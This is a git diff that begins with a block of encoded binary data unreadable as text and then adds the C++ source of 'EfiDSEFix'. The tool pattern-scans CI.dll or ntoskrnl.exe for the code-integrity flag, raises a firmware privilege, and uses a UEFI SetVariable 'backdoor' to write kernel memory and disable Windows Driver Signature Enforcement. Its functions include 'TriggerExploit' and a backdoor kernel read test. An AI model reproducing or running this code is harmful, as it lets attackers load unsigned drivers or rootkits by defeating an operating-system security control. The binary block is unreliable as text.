zGmE_0*G!n)A|mR#k`s9#>m*$(CGmR)u5m!n4n?->bqW$0J*Q~%%6$5^db}OSlkRbC zMN%8m&hhLFeud_`io^LKA<v3|{&MoNXL^0PB6DC)O=j)luzc7mf_ykTWn4)4M%w|T~;>m*N>NUbf1~mRtN~9X9 zH9U70XIgA2XzmCG-XTEVY%NH-QbQ_q_Ok$H^3;M@SDl7O*Wve!wiPs%EkXMO?ZoYh z!y!$XhH8~!D5|(akup~?nPg!^AiYlW5NVX^Xq!g~B*|?QGp`5<+Lfr1;I;*io*#6z z89^-61K@TAD-p<|C^+yA0@~v33+h;AliE7w(~e@qcaYR17gfQ`dj`m|JC3muSE4%f z=Fy>e-|5xF^6|Gb!D*Z*m}Ac25X}j#;?9DZsoZK(&8rCRhe^rGstJNjcHC<$JO6urT*7oma6%7^F?Uf}I9pXg(jDmI2Xo?(nv7~kyqa3`jzYKBom1+l zGl-HZ`ygrH@nLWt%-IRab?loM4*TsTde(hBmC`&qq>tZ4Fmq?^zCN`^42y-Ke9^m> znDkr<#h!Jz$b34$zPX#=xpFk}5RucpjtnDkKJKolhZ@|*pSxxU-e4fl@E+sDA`TrC zt3^BL97$Df@U3ByDzKvWtYW6FT28 zWR17;vCk&Zom+ynYt-q~D)GQ7MuIDJS(hUpc8j3*xDHiQg$fqNM&7gKYIfo$mkto~ z`XWtirJ7oJu+@O;l=tmwvdfK8Q2Tg2UYMKG?R~C?nspeK6Kx&sHjmUliMWTWxwU$_ zkdLNQ&Ck+J<*?23jXFiHdbmkdjl`N~+jFaP2kWkfT9>y0RfomLWapj-Iehc1qxV>Q z)!%SX^%PKt%sTsM&CgTx!I0h{sY}BFo`JrilIFNZ&w%vfL&3drJ^PHkbOXtxl4E|% zJb70^F0FNLQQp{45IOLt7SX(iP&{rVNV8-icL$Lx^wUV|*wDUN6T~cmp{CkGk7VZl zFh>;Cg~-&TT1SYq#G`_hDZ(K;1=(-wlEtm`M@udnWTWij^Q(E`F(aUz-b*kk0nas8 zrxw|h@rY`10&QcYC*E6fsXd#}P_u#&xvb`Mi8QwR2=-Z{c-Ro|8te|wY;$kO`wDUv zE>lOvK2DFHgA~@ToC6YdP8(DoN5dkdhx890kS!tQt&|F&`bp9@2MHF8M`-j zE1&tW?;4N2$-UT~rif(+pgb1VaUu=i>57_V*V4()oKX^N9xw8TJtHG8bL}I)eDkBLb7Yeg83WJjq*(W4T)4=q>8OJzij7R&Ozfxd-_=!n;!oea6v|%^c#{p zhN`umt%zybuM`pHxkXt=&r!66D6?Bsf`OTcEa2xVqH<~`e^KhC^%Nm(=y@4=m86BL zE7&+K^Z7nzxRwC!nioiF>eFyhd6jTrom+Hozc3?qsrfv+HiLF7>Z0@_NvaTq5^Nr! zC#HEVlKd~uxYW3@>4q3~Mv!gt62+Qp^oP_eA@0&s;KA>CcziZo-}BOfx;|FqZk7RP zd@mEE@?(xFnaWP}c)<9rgqQoNWw(Ky3r^!J#<;!C_ypIvS6`VCoz}OpYxye0N>(!) zU)Tvj8Dp=`sDo%&L&g};qF*COq6du{TAge6+MGwd!)uT;NY{8><5C^L+>DQYe1% zdPz%d^AKr`th+a)thm!zYBUe$shUANaK_)Ld39NL9%;>)jBnCJaT5mKy&fie_1|1D zDOz)c`~d=+*&=d^&2kj=5qV2OUudj_YZyqjyj5}NY6v>($Y1rgg0v^?h5hIR90(>9LOw_ygXV(T26=*?OWd*QFEjE=8;* z%NE>4@6KuU^(#biwD;t^v7BDDNv-!Ein6>{FkMD(?slxf(g$<AKU9!hUah={tQ=&$d{}cx)C{Q8 zWIOJ+hk+eYkVf;7oO(ukdBy3xuHA!F*UX~?*3w56kM;W5_((O@EW?q1=wmroco&`c zsUw1qysRIuA`4AUZCvx1k!R`?Rpc6CWyp{6$tq@%Ijjb2-d8|V{!|s0Jw{%e-vkaui zmj%1VEMd<|Z>IVFNm$E!v-eq>x$s`dg5$R3e zE{N-u`G8Upx6iR>tXwJbonw&8Zhh;h(Ovi55?g4i+F@iKF|x@2uS6An{DUlVQ^9*RP*>yOyMUvtDbC1Bwv z)8F-jSQ*)e8Dr*a+)MY!!Gh; zb*|c93YG}U4uW_{EBtH9>r*yVJ*NOku)hgflJ60C7l0G@_ng%obST4=9kFwb;fhw% z%xeek_kSeB{i}my@1Na{I$CM6($KE_XG-gKYIiy?9-7o3tyD6Te7f;?;<>xAEnK29;&AUn`*)M%HX z3V}-&>>53%NdLT4LG*^4t)~V>LNA^2WPg=pa_6ZGO^5WYT;$8UOvXL3ZR;epS=lw} zx)*s9P}qTBzXTq1PlYS54nTr9_Qos^n?A z#t+JoX}(R7kKyu~pN=}kr-N5lU9I#hAo>D@UAoJGatlf7E0*Y;Ha&O6+m3sv^7BYR zK1dXkzEUMQ?smz)vKXg$rPf$a85;MMHGLPo5UqE+bWNDo8=dc~XfnMroLbT|VJ{V; z6LwY2oN3V_(+f(@&TTApqSUqyvUt&$ucrA2qCU~t_N9j}H%iYsUND`OwH)<%W9!3Y z-cz334(mNVBb?VC7C*enyqmXr;s#eG#?2h#oc5qGXtvuylx*QQ-}6$N zHeGPRrcJXK`tAwa&%O##Zk|z^gY{Jb$#>U(Ia_EXw~&lO0#fUI-7=vJ&KYa{kTpT$I5A_ajygf(@aR$Ovpy+fkP&`PuOBZ(L8M%o>0Qiy zGEW{Ooudps^KSO!TXUuSDdQ}u`kVJOTBR)+s~^dYP%C3=#u%&w?F2NAQwv5vWDg+5 zwuCW^+uNjJVxFt5;AC!37}RTCAAj@y0&;&x!O+LQ){&f+Q}os{j|9xtZF0t7MJ~IQ zfmZ#tj?r8>JQyAh*;#1SZ|4|?I>XT*Y6*yW93H81MUpDFPZ+~^!_MFx9Dxo8-H>7s z_FV<`?i~f=9I2w3DQL}4FDO!lG&7LSG9eg&BLSJsG3jT+_ltHX5)t3mIp8((E@c zn6<@()9bW{d^AJ$Gnlpgni4i^;QSv*IKw_2P3goj?*PC!m@xv+Ke~bMoH05_q$+P; zc_3rX&KTX&KmfVpZGgbf=-D`y0) z1{g(D5Q0X5^wmR-u{LPdaSp*5Sx!0Qik^Ah!R@=EDH}Fx?Tk~$tN~B=xh0MokX=rK z^*Nl9#s_3xAF!i4j&h_qC|$%>2D-aeGsXsL6y1!mp&CV;Q_7dUb-s{Cs+Up9kXrZG zc^PFG^JN^MeWSJSXOvLA1<05|!l*Ry&Fccr{xIPTGJ_@T>~8^{mr+8Z2!~h}^Xj8@ zS<4A(>Fo?KiX#~#%+u{zk;{`se3S`|r7-`qCrADY^!w}X_vtl0u?*H7wFUhC`N{9A zWv=u0@0I?(TmbX$gBba}`S+IwQKR3K=DU3tfjPPlGn!F5XbfNv-PirTO0%i;`|roU ze@Jgq^BRCtc7ON#oj4A%3z4jN023%XrPCd4SZw-%8Kbun6thC(cu>M`aF&Ea}aPF9_a$E1w%A*_?} z*pyK|Aaybxmomy5%gg}Y%g3jTqvgpmpF*_iPe>?Z5bH>gF7-rabOP^LpeH=Z{k}?; zt#yu`%)h_7G#JKYjSDeio+A+Xeu`sIh%zio2N0f`5rX2A$XEHajId!*)~6Q)W#XAv z0^G09NE!TulUQu~jsj=Bfbf=#FqDI^642fB)|4=e535aOWguzwwwxhdg=PYfxo^)2fpu9Ry88~t zs3C$3;?(byjG*;ElH^?prG|{eEkI9yH&b-Dr&cNQ9{2lk*=bZOOBhGW z1F@bDbjshKGRgxnGd$J?clG-K*L1H6=VuyKRe*=`Y3bA{iYR2^Lzn`{IP because MSVC will give some very angry errors, especially w.r.t. GUID types which come from the retarded guiddef.h. +// Instead define the minimum subset required to include +#define EFIAPI __cdecl + +typedef ULONG_PTR UINTN; +typedef UINTN RETURN_STATUS; +typedef RETURN_STATUS EFI_STATUS; +typedef GUID EFI_GUID; +typedef CHAR CHAR8; +typedef WCHAR CHAR16; +typedef struct +{ + UINT16 Year; + UINT8 Month; + UINT8 Day; + UINT8 Hour; + UINT8 Minute; + UINT8 Second; + UINT8 Pad1; + UINT32 Nanosecond; + INT16 TimeZone; + UINT8 Daylight; + UINT8 Pad2; +} EFI_TIME; + +// For EFI variable attributes +#include diff --git a/Application/EfiDSEFix/src/EfiDSEFix.cpp b/Application/EfiDSEFix/src/EfiDSEFix.cpp new file mode 100644 index 0000000..59b6a34 --- /dev/null +++ b/Application/EfiDSEFix/src/EfiDSEFix.cpp @@ -0,0 +1,419 @@ +#include "EfiDSEFix.h" +#include "EfiCompat.h" +#include "hde/hde64.h" +#include + +#include + +EFI_GUID gEfiGlobalVariableGuid = EFI_GLOBAL_VARIABLE; + +static +NTSTATUS +FindKernelModule( + _In_ PCCH ModuleName, + _Out_ PULONG_PTR ModuleBase + ) +{ + *ModuleBase = 0; + + ULONG Size = 0; + NTSTATUS Status; + if ((Status = NtQuerySystemInformation(SystemModuleInformation, nullptr, 0, &Size)) != STATUS_INFO_LENGTH_MISMATCH) + return Status; + + const PRTL_PROCESS_MODULES Modules = static_cast(RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, 2 * static_cast(Size))); + Status = NtQuerySystemInformation(SystemModuleInformation, + Modules, + 2 * Size, + nullptr); + if (!NT_SUCCESS(Status)) + goto Exit; + + for (ULONG i = 0; i < Modules->NumberOfModules; ++i) + { + RTL_PROCESS_MODULE_INFORMATION Module = Modules->Modules[i]; + if (_stricmp(ModuleName, reinterpret_cast(Module.FullPathName) + Module.OffsetToFileName) == 0) + { + *ModuleBase = reinterpret_cast(Module.ImageBase); + Status = STATUS_SUCCESS; + break; + } + } + +Exit: + RtlFreeHeap(RtlProcessHeap(), 0, Modules); + return Status; +} + +// For Windows Vista/7. Credits: DSEFix by hfiref0x +static +LONG +QueryCiEnabled( + _In_ PVOID MappedBase, + _In_ SIZE_T SizeOfImage, + _In_ ULONG_PTR KernelBase, + _Out_ PULONG_PTR gCiEnabledAddress + ) +{ + *gCiEnabledAddress = 0; + + LONG Relative = 0; + for (SIZE_T i = 0; i < SizeOfImage - sizeof(ULONG); ++i) + { + if (*reinterpret_cast(static_cast(MappedBase) + i) == 0x1d8806eb) + { + Relative = *reinterpret_cast(static_cast(MappedBase) + i + 4); + *gCiEnabledAddress = KernelBase + i + 8 + Relative; + break; + } + } + return Relative; +} + +// For Windows 8 and worse. Credits: DSEFix by hfiref0x +static +LONG +QueryCiOptions( + _In_ PVOID MappedBase, + _In_ ULONG_PTR KernelBase, + _Out_ PULONG_PTR gCiOptionsAddress + ) +{ + *gCiOptionsAddress = 0; + + ULONG i; + LONG Relative = 0; + hde64s hs; + + const PUCHAR CiInitialize = reinterpret_cast(GetProcedureAddress(reinterpret_cast(MappedBase), "CiInitialize")); + if (CiInitialize == nullptr) + return 0; + + if (NtCurrentPeb()->OSBuildNumber >= 16299) + { + i = 0; + ULONG j = 0; + do + { + // call CipInitialize + if (CiInitialize[i] == 0xE8) + j++; + + if (j > 1) + { + Relative = *reinterpret_cast(CiInitialize + i + 1); + break; + } + + hde64_disasm(CiInitialize + i, &hs); + if (hs.flags & F_ERROR) + break; + i += hs.len; + + } while (i < 256); + } + else + { + i = 0; + do + { + // jmp CipInitialize + if (CiInitialize[i] == 0xE9) + { + Relative = *reinterpret_cast(CiInitialize + i + 1); + break; + } + hde64_disasm(CiInitialize + i, &hs); + if (hs.flags & F_ERROR) + break; + i += hs.len; + + } while (i < 256); + } + + const PUCHAR CipInitialize = CiInitialize + i + 5 + Relative; + i = 0; + do + { + if (*reinterpret_cast(CipInitialize + i) == 0x0d89) + { + Relative = *reinterpret_cast(CipInitialize + i + 2); + break; + } + hde64_disasm(CipInitialize + i, &hs); + if (hs.flags & F_ERROR) + break; + i += hs.len; + + } while (i < 256); + + const PUCHAR MappedCiOptions = CipInitialize + i + 6 + Relative; + + *gCiOptionsAddress = KernelBase + MappedCiOptions - static_cast(MappedBase); + + return Relative; +} + +static +NTSTATUS +AnalyzeCi( + _Out_ PVOID *CiOptionsAddress + ) +{ + *CiOptionsAddress = nullptr; + + // Map file as SEC_IMAGE + WCHAR Path[MAX_PATH]; + const CHAR NtoskrnlExe[] = "ntoskrnl.exe"; + const CHAR CiDll[] = "CI.dll"; + + _snwprintf(Path, MAX_PATH / sizeof(WCHAR), L"%ls\\System32\\%hs", + SharedUserData->NtSystemRoot, + NtCurrentPeb()->OSBuildNumber >= 9200 ? CiDll : NtoskrnlExe); + + PVOID MappedBase; + SIZE_T ViewSize; + NTSTATUS Status = MapFileSectionView(Path, &MappedBase, &ViewSize); + if (!NT_SUCCESS(Status)) + { + Printf(L"Failed to map %ls: %08X\n", Path, Status); + return Status; + } + + if (NtCurrentPeb()->OSBuildNumber >= 9200) + { + // Find CI.dll!g_CiOptions + ULONG_PTR CiDllBase; + Status = FindKernelModule(CiDll, &CiDllBase); + if (!NT_SUCCESS(Status)) + goto Exit; + + ULONG_PTR gCiOptionsAddress; + const LONG Relative = QueryCiOptions(MappedBase, CiDllBase, &gCiOptionsAddress); + if (Relative != 0) + { + *CiOptionsAddress = reinterpret_cast(gCiOptionsAddress); + Status = STATUS_SUCCESS; + } + else + { + Status = STATUS_NOT_FOUND; + } + } + else + { + // Find ntoskrnl.exe!g_CiEnabled + ULONG_PTR KernelBase; + Status = FindKernelModule(NtoskrnlExe, &KernelBase); + if (!NT_SUCCESS(Status)) + goto Exit; + + ULONG_PTR gCiEnabledAddress; + const LONG Relative = QueryCiEnabled(MappedBase, ViewSize, KernelBase, &gCiEnabledAddress); + if (Relative != 0) + { + *CiOptionsAddress = reinterpret_cast(gCiEnabledAddress); + Status = STATUS_SUCCESS; + } + else + { + Status = STATUS_NOT_FOUND; + } + } + +Exit: + NtUnmapViewOfSection(NtCurrentProcess, MappedBase); + return Status; +} + +static +NTSTATUS +SetSystemEnvironmentPrivilege( + _In_ BOOLEAN Enable, + _Out_opt_ PBOOLEAN WasEnabled + ) +{ + if (WasEnabled != nullptr) + *WasEnabled = FALSE; + + BOOLEAN SeSystemEnvironmentWasEnabled; + const NTSTATUS Status = RtlAdjustPrivilege(SE_SYSTEM_ENVIRONMENT_PRIVILEGE, + Enable, + FALSE, + &SeSystemEnvironmentWasEnabled); + + if (NT_SUCCESS(Status) && WasEnabled != nullptr) + *WasEnabled = SeSystemEnvironmentWasEnabled; + + return Status; +} + +NTSTATUS +TestSetVariableHook( + ) +{ + // Enable privileges in case we were called directly from the CLI with --check + BOOLEAN SeSystemEnvironmentWasEnabled; + NTSTATUS Status = SetSystemEnvironmentPrivilege(TRUE, &SeSystemEnvironmentWasEnabled); + if (!NT_SUCCESS(Status)) + { + Printf(L"Fatal error: failed to acquire SE_SYSTEM_ENVIRONMENT_PRIVILEGE. Make sure you are running as administrator.\n"); + return Status; + } + + // Find some kernel address to read + ULONG_PTR HalBase; + Status = FindKernelModule("hal.dll", &HalBase); + if (!NT_SUCCESS(Status)) + return Status; + + // Set up the struct for a backdoor kernel mode read. See TriggerExploit for explanations + EFIGUARD_BACKDOOR_DATA BackdoorData; + RtlZeroMemory(&BackdoorData, sizeof(BackdoorData)); + BackdoorData.CookieValue = EFIGUARD_BACKDOOR_COOKIE_VALUE; + BackdoorData.KernelAddress = reinterpret_cast(HalBase); + BackdoorData.u.Qword = UINT64_MAX; // Bogus value to verify write-back after the read operation + BackdoorData.IsMemCopy = FALSE; + BackdoorData.IsReadOperation = TRUE; + BackdoorData.Size = sizeof(UINT16); + + // Call SetVariable() + UNICODE_STRING VariableName = RTL_CONSTANT_STRING(EFIGUARD_BACKDOOR_VARIABLE_NAME); + Status = NtSetSystemEnvironmentValueEx(&VariableName, + EFIGUARD_BACKDOOR_VARIABLE_GUID, + &BackdoorData, + EFIGUARD_BACKDOOR_VARIABLE_DATASIZE, + EFIGUARD_BACKDOOR_VARIABLE_ATTRIBUTES); + if (!NT_SUCCESS(Status)) + { + Printf(L"Failure: NtSetSystemEnvironmentValueEx error %08X\n", Status); + goto Exit; + } + + // Did we get any data back? + if (BackdoorData.u.Qword == UINT64_MAX) + { + Printf(L"Failure: EFI SetVariable() did not return any data.\nThe EfiGuard DXE driver is either not loaded in SETVARIABLE_HOOK mode, or it is malfunctioning.\n"); + + // Clean up, since we actually wrote a variable to NVRAM here... + NtSetSystemEnvironmentValueEx(&VariableName, + EFIGUARD_BACKDOOR_VARIABLE_GUID, + nullptr, + 0, + EFIGUARD_BACKDOOR_VARIABLE_ATTRIBUTES); + Status = STATUS_NO_SUCH_DEVICE; + goto Exit; + } + + // Check if hal.dll still starts with "MZ" + UINT16 Mz = static_cast(BackdoorData.u.s.Word); + if (Mz != 0x5A4D) + { + Printf(L"Failure: received unexpected data from test read of 0x%p. Expected: 4D 5A, received: %02X %02X.\n", + reinterpret_cast(HalBase), reinterpret_cast(&Mz)[0], reinterpret_cast(&Mz)[1]); + Status = STATUS_INVALID_IMAGE_NOT_MZ; // Literally + } + +Exit: + SetSystemEnvironmentPrivilege(SeSystemEnvironmentWasEnabled, nullptr); + + return Status; +} + +static +NTSTATUS +TriggerExploit( + _In_ PVOID CiVariableAddress, + _In_ ULONG CiOptionsValue, + _Out_opt_ PULONG OldCiOptionsValue + ) +{ + if (OldCiOptionsValue != nullptr) + *OldCiOptionsValue = CODEINTEGRITY_OPTION_ENABLED; + + // First check if the hook is enabled and working + NTSTATUS Status = TestSetVariableHook(); + if (!NT_SUCCESS(Status)) + return Status; + + // Number of bytes to write: 1 on Windows 7, 4 on lesser OSes + const UINT32 CiPatchSize = NtCurrentPeb()->OSBuildNumber >= 9200 + ? sizeof(UINT32) + : sizeof(UINT8); + + // Set up the struct for a backdoor kernel mode R/W + EFIGUARD_BACKDOOR_DATA BackdoorData; + RtlZeroMemory(&BackdoorData, sizeof(BackdoorData)); + BackdoorData.CookieValue = EFIGUARD_BACKDOOR_COOKIE_VALUE; // Authentication cookie + BackdoorData.KernelAddress = CiVariableAddress; // Address to write to + if (CiPatchSize == sizeof(UINT32)) // Set the appropriate field to our desired value (e.g. 0 to disable DSE) + BackdoorData.u.s.Dword = static_cast(CiOptionsValue); + else if (CiPatchSize == sizeof(UINT8)) + BackdoorData.u.s.Byte = static_cast(CiOptionsValue); + BackdoorData.IsMemCopy = FALSE; // This is a scalar operation, not memcpy + BackdoorData.IsReadOperation = FALSE; // This is a write operation, not read + BackdoorData.Size = CiPatchSize; // This value determines the field (Byte/Word/Dword/Qword) that the value to write will be read from, and written to on return + + // Call NtSetSystemEnvironmentValueEx -> [...] -> hal!HalSetEnvironmentVariableEx -> hal!HalEfiSetEnvironmentVariable -> EfiRT->SetVariable. + // On Windows >= 8 it is possible to use SetFirmwareEnvironmentVariableExW. We use the syscall directly because it exists on Windows 7 and Vista. + UNICODE_STRING VariableName = RTL_CONSTANT_STRING(EFIGUARD_BACKDOOR_VARIABLE_NAME); + Status = NtSetSystemEnvironmentValueEx(&VariableName, + EFIGUARD_BACKDOOR_VARIABLE_GUID, + &BackdoorData, + EFIGUARD_BACKDOOR_VARIABLE_DATASIZE, + EFIGUARD_BACKDOOR_VARIABLE_ATTRIBUTES); + if (!NT_SUCCESS(Status)) + { + Printf(L"NtSetSystemEnvironmentValueEx: error %08X\n", Status); + return Status; + } + + const ULONG OldCiOptions = CiPatchSize == sizeof(UINT32) + ? static_cast(BackdoorData.u.s.Dword) + : static_cast(BackdoorData.u.s.Byte); + + if (OldCiOptionsValue != nullptr) + { + // Return the previous value of g_CiOptions/g_CiEnabled + *OldCiOptionsValue = OldCiOptions; + } + + return STATUS_SUCCESS; +} + +NTSTATUS +AdjustCiOptions( + _In_ ULONG CiOptionsValue, + _Out_opt_ PULONG OldCiOptionsValue + ) +{ + if (OldCiOptionsValue != nullptr) + *OldCiOptionsValue = CODEINTEGRITY_OPTION_ENABLED; + + // Find CI!g_CiOptions/nt!g_CiEnabled + PVOID CiOptionsAddress; + NTSTATUS Status = AnalyzeCi(&CiOptionsAddress); + if (!NT_SUCCESS(Status)) + return Status; + + Printf(L"%ls at 0x%p.\n", (NtCurrentPeb()->OSBuildNumber >= 9200 ? L"CI!g_CiOptions" : L"nt!g_CiEnabled"), CiOptionsAddress); + + // Enable privileges + BOOLEAN SeSystemEnvironmentWasEnabled; + Status = SetSystemEnvironmentPrivilege(TRUE, &SeSystemEnvironmentWasEnabled); + if (!NT_SUCCESS(Status)) + { + Printf(L"Fatal error: failed to acquire SE_SYSTEM_ENVIRONMENT_PRIVILEGE. Make sure you are running as administrator.\n"); + return Status; + } + + // Enable/disable CI + Status = TriggerExploit(CiOptionsAddress, + CiOptionsValue, + OldCiOptionsValue); + + // Revert privileges + SetSystemEnvironmentPrivilege(SeSystemEnvironmentWasEnabled, nullptr); + + return Status; +} diff --git a/Application/EfiDSEFix/src/EfiDSEFix.exe.manifest b/Application/EfiDSEFix/src/EfiDSEFix.exe.manifest new file mode 100644 index 0000000..af2f7de --- /dev/null +++ b/Application/EfiDSEFix/src/EfiDSEFix.exe.manifest @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + + + diff --git a/Application/EfiDSEFix/src/EfiDSEFix.h b/Application/EfiDSEFix/src/EfiDSEFix.h new file mode 100644 index 0000000..b22336f --- /dev/null +++ b/Application/EfiDSEFix/src/EfiDSEFix.h @@ -0,0 +1,255 @@ +#pragma once + +#include "ntdll.h" + +#if defined(__cplusplus) && \ + ((defined(_MSC_VER) && (_MSC_VER >= 1900)) || defined(__clang__)) +#define CONSTEXPR constexpr +#else +#define CONSTEXPR +#endif + +#if defined(__RESHARPER__) +#define WPRINTF_ATTR(FormatIndex, FirstToCheck) \ + [[rscpp::format(wprintf, FormatIndex, FirstToCheck)]] +#else +#define WPRINTF_ATTR(FormatIndex, FirstToCheck) +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +// EfiDSEFix.cpp +NTSTATUS +TestSetVariableHook( + ); + +NTSTATUS +AdjustCiOptions( + _In_ ULONG CiOptionsValue, + _Out_opt_ PULONG OldCiOptionsValue + ); + +// sysinfo.cpp +NTSTATUS +DumpSystemInformation( + ); + +// pe.cpp +NTSTATUS +MapFileSectionView( + _In_ PCWCHAR Filename, + _Out_ PVOID *ImageBase, + _Out_ PSIZE_T ViewSize + ); + +PVOID +GetProcedureAddress( + _In_ ULONG_PTR DllBase, + _In_ PCSTR RoutineName + ); + +FORCEINLINE +ULONG +RtlNtMajorVersion( + ) +{ + return *(PULONG)(0x7FFE0000 + 0x026C); +} + +FORCEINLINE +ULONG +RtlNtMinorVersion( + ) +{ + return *(PULONG)(0x7FFE0000 + 0x0270); +} + +CONSTEXPR +FORCEINLINE +LONGLONG +RtlMsToTicks( + _In_ ULONG Milliseconds + ) +{ + return 10000LL * (LONGLONG)Milliseconds; +} + +FORCEINLINE +VOID +RtlSleep( + _In_ ULONG Milliseconds + ) +{ + LARGE_INTEGER Timeout; + Timeout.QuadPart = -1 * RtlMsToTicks(Milliseconds); + NtDelayExecution(FALSE, &Timeout); +} + +// Ntdll string functions, not in ntdll.h as they are incompatible with the CRT +typedef const WCHAR *LPCWCHAR, *PCWCHAR; + +NTSYSAPI +int +__cdecl +_snwprintf( + _Out_ PWCHAR Buffer, + _In_ size_t BufferCount, + _In_ PCWCHAR Format, + ... + ); + +NTSYSAPI +int +__cdecl +_vsnwprintf( + _Out_ PWCHAR Buffer, + _In_ size_t BufferCount, + _In_ PCWCHAR Format, + _In_ va_list ArgList + ); + +NTSYSAPI +int +__cdecl +_wtoi( + _In_ PCWCHAR Str + ); + +// Console functions +WPRINTF_ATTR(1, 2) +inline +VOID +Printf( + _In_ PCWCHAR Format, + ... + ) +{ + WCHAR Buffer[512]; + va_list VaList; + va_start(VaList, Format); + ULONG N = _vsnwprintf(Buffer, sizeof(Buffer), Format, VaList); + WriteConsoleW(NtCurrentPeb()->ProcessParameters->StandardOutput, Buffer, N, &N, NULL); + va_end(VaList); +} + +inline +VOID +PrintGuid( + _In_ GUID Guid + ) +{ + Printf(L"{%08lx-%04hx-%04hx-%02hhx%02hhx-%02hhx%02hhx%02hhx%02hhx%02hhx%02hhx}", + Guid.Data1, Guid.Data2, Guid.Data3, + Guid.Data4[0], Guid.Data4[1], Guid.Data4[2], Guid.Data4[3], + Guid.Data4[4], Guid.Data4[5], Guid.Data4[6], Guid.Data4[7]); +} + +inline +VOID +WaitForKey( + ) +{ + const HANDLE StdIn = NtCurrentPeb()->ProcessParameters->StandardInput; + INPUT_RECORD InputRecord = { 0 }; + ULONG NumRead; + while (InputRecord.EventType != KEY_EVENT || !InputRecord.Event.KeyEvent.bKeyDown || InputRecord.Event.KeyEvent.dwControlKeyState != + (InputRecord.Event.KeyEvent.dwControlKeyState & ~(RIGHT_CTRL_PRESSED | LEFT_CTRL_PRESSED))) + { + ReadConsoleInputW(StdIn, &InputRecord, 1, &NumRead); + } +} + +#ifdef NT_ANALYSIS_ASSUME +// wdm.h's asserts are incompatible with both clang and MS's own analyzer +#undef NT_ANALYSIS_ASSUME +#undef NT_ASSERT_ACTION +#undef NT_ASSERTMSG_ACTION +#undef NT_ASSERTMSGW_ACTION +#undef NT_ASSERT_ASSUME +#undef NT_ASSERTMSG_ASSUME +#undef NT_ASSERTMSGW_ASSUME +#undef NT_ASSERT +#undef NT_ASSERTMSG +#undef NT_ASSERTMSGW +#endif + +#ifdef _PREFAST_ +#define NT_ANALYSIS_ASSUME(...) _Analysis_assume_(__VA_ARGS__) +#elif defined(_DEBUG) || defined(DBG) +#define NT_ANALYSIS_ASSUME(...) ((void) 0) +#else +#define NT_ANALYSIS_ASSUME(...) __noop(__VA_ARGS__) +#endif + +#if !defined(__clang__) +#if !defined(DbgRaiseAssertionFailure) +#define DbgRaiseAssertionFailure() __int2c() +#endif + +#define NT_ASSERT_ACTION(_exp) \ + ((!(_exp)) ? \ + (__annotation((PWCHAR)L"Debug", L"AssertFail", L#_exp), \ + DbgRaiseAssertionFailure(), FALSE) : \ + TRUE) + +#define NT_ASSERTMSG_ACTION(_msg, _exp) \ + ((!(_exp)) ? \ + (__annotation((PWCHAR)L"Debug", L"AssertFail", L##_msg), \ + DbgRaiseAssertionFailure(), FALSE) : \ + TRUE) + +#define NT_ASSERTMSGW_ACTION(_msg, _exp) \ + ((!(_exp)) ? \ + (__annotation((PWCHAR)L"Debug", L"AssertFail", _msg), \ + DbgRaiseAssertionFailure(), FALSE) : \ + TRUE) +#else +#define NT_ASSERT_ACTION(_exp) \ + ((!(_exp)) ? (__debugbreak(), FALSE) : TRUE) +#define NT_ASSERTMSG_ACTION(_msg, _exp) \ + NT_ASSERT_ACTION(_exp) +#define NT_ASSERTMSGW_ACTION(_msg, _exp) \ + NT_ASSERT_ACTION(_exp) +#endif + +#if defined(_DEBUG) || defined(DBG) +#define NT_ASSERT_ASSUME(_exp) \ + (NT_ANALYSIS_ASSUME(_exp), NT_ASSERT_ACTION(_exp)) + +#define NT_ASSERTMSG_ASSUME(_msg, _exp) \ + (NT_ANALYSIS_ASSUME(_exp), NT_ASSERTMSG_ACTION(_msg, _exp)) + +#define NT_ASSERTMSGW_ASSUME(_msg, _exp) \ + (NT_ANALYSIS_ASSUME(_exp), NT_ASSERTMSGW_ACTION(_msg, _exp)) + +#define NT_ASSERT NT_ASSERT_ASSUME +#define NT_ASSERTMSG NT_ASSERTMSG_ASSUME +#define NT_ASSERTMSGW NT_ASSERTMSGW_ASSUME +#else +#define NT_ASSERT(_exp) ((void) 0) +#define NT_ASSERTMSG(_msg, _exp) ((void) 0) +#define NT_ASSERTMSGW(_msg, _exp) ((void) 0) +#endif + +#ifdef __cplusplus +} +#endif + +#ifdef __cplusplus +#pragma warning(push) +#pragma warning(disable:4309) +// Convenience utility +// Usage: static_print()() gives the value as compiler warning C4305 or -Wconstant-conversion +template +struct static_print +{ + CONSTEXPR CHAR operator()() const { return N + 256; } +}; +#pragma warning(pop) + +#define PRINT_SIZE(T) { static_print()(); } +#define PRINT_OFFSET(T, V) { static_print()(); } + +#endif diff --git a/Application/EfiDSEFix/src/EfiDSEFix.vcxproj b/Application/EfiDSEFix/src/EfiDSEFix.vcxproj new file mode 100644 index 0000000..f3b2637 --- /dev/null +++ b/Application/EfiDSEFix/src/EfiDSEFix.vcxproj @@ -0,0 +1,100 @@ + + + + + Release + x64 + + + + {B2924789-9912-4B6F-8F7B-53240AC3BA0E} + Win32Proj + EfiDSEFix + $([Microsoft.Build.Utilities.ToolLocationHelper]::GetLatestSDKTargetPlatformVersion('Windows', '10.0')) + EfiDSEFix + + + + Application + false + true + Unicode + v141 + + + + + + + + + + false + $(SolutionDir)Application\EfiDSEFix\bin\ + obj\$(Platform)-$(Configuration)\ + false + + + + Level3 + NotUsing + true + WINVER=0x0600;_WIN32_WINNT=0x0600;NTDDI_VERSION=0x06000200;WIN32;_WIN64;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + ProgramDatabase + Caret + true + MultiThreadedDLL + false + stdcpplatest + /Gw %(AdditionalOptions) + false + 4201 + false + true + false + $(SolutionDir)Include;$(SolutionDir)../MdePkg/Include;$(SolutionDir)../MdePkg/Include/X64;$(SolutionDir)../MdeModulePkg/Include;%(AdditionalIncludeDirectories) + true + + + Console + DebugFull + true + true + 6.0 + 6.0 + $(SolutionDir)Application\EfiDSEFix\lib\x64 + NtProcessStartupW + UseLinkTimeCodeGeneration + /NOVCFEATURE /NOCOFFGRPINFO /PDBALTPATH:%_PDB% %(AdditionalOptions) + ntdllp.lib;kernel32.lib + true + true + true + + + + + MinSpace + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Application/EfiDSEFix/src/EfiDSEFix.vcxproj.filters b/Application/EfiDSEFix/src/EfiDSEFix.vcxproj.filters new file mode 100644 index 0000000..261c475 --- /dev/null +++ b/Application/EfiDSEFix/src/EfiDSEFix.vcxproj.filters @@ -0,0 +1,64 @@ + + + + + 